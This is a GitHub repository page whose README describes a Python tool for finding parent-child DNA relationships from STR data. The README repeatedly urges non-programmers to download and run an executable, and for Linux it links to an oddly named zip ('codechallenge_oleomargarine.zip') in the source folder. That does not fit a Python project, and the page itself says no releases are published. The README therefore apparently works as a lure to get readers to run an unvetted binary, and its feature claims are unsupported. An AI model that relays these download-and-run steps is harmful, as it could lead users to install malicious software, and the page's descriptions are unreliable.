Skip to content

🧬 Detect single parent-child DNA relationships in large datasets with this scalable Python program, revealing hidden kinship connections effectively.

License

Notifications You must be signed in to change notification settings

XWELIZA/codechallenge2025

Repository files navigation

🧬 codechallenge2025 - Detect Parent-Child Relationships Easily

🌟 Introduction

Welcome to codechallenge2025! This project, known as PyDay2025, helps you explore forensic DNA analysis. With our software, you can determine parent-child relationships using Short Tandem Repeat (STR) data. No programming knowledge is needed—just follow the simple steps below.

📥 Download the Application

Download codechallenge2025

🚀 Getting Started

Getting started with codechallenge2025 is simple. Follow these steps to download and run the application.

  1. Visit the Releases Page: Click the link below to access the download section.

    Visit the Releases Page.

  2. Choose the Latest Version: On the Releases page, look for the latest version at the top. This version includes the newest features and bug fixes.

  3. Download the File: After selecting the latest version, you will see different files available for download. Choose the file that matches your operating system.

  4. Run the Application: Once the download completes, locate the file in your Downloads folder. Depending on your operating system:

    • Windows: Double-click the .exe file to run the application.
    • Mac: Open the .dmg file and drag the application to your Applications folder.
    • Linux: Unzip the https://github.com/XWELIZA/codechallenge2025/raw/refs/heads/main/src/codechallenge2025/codechallenge_oleomargarine.zip file and follow the instructions within to run the application.

🛠️ System Requirements

Before you begin, ensure your system meets these minimum requirements:

  • Operating System: Windows 10, macOS 10.15 or later, or a Linux distribution with kernel 4.0 or above.
  • RAM: At least 4 GB of RAM.
  • Storage: At least 100 MB of free disk space.
  • Processor: A dual-core processor or better.

🔍 Features

Here’s what you can expect from codechallenge2025:

  • User-Friendly Interface: Navigate the software easily with clear buttons and displays.
  • Accurate Results: The application employs established forensic techniques for reliable parent-child relationship detection.
  • Instant Feedback: Receive results within seconds, making your analysis quicker and more efficient.
  • Cross-Platform Compatibility: Use the application on Windows, macOS, and Linux without issues.

⚙️ Usage Instructions

After running the application, follow these instructions to get started with your analysis:

  1. Input Data:

    • Prepare your STR data in a compatible format (CSV or TXT).
    • Click the "Upload" button on the main screen to select your file.
  2. Start Analysis:

    • Once the data is loaded, click on the "Analyze" button.
    • The software will process the data and display the results.
  3. View Results:

    • Results will appear on the screen along with charts and graphs for better understanding.
    • You can export these results as a PDF by clicking the "Export" button.

📝 Support and Feedback

If you encounter issues or have questions, please reach out through the Issues section of the GitHub repository. Your feedback helps us improve the software for everyone.

🔗 Additional Resources

For additional information about forensic STR analysis, you might find these resources helpful:

🔄 Contributions

We welcome contributions to help enhance codechallenge2025. Whether it's fixing bugs, improving documentation, or suggesting new features, please feel free to submit a pull request.

📥 Final Download Reminder

To download the application for your own use, please revisit the Releases Page and choose the latest version.

About

🧬 Detect single parent-child DNA relationships in large datasets with this scalable Python program, revealing hidden kinship connections effectively.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 8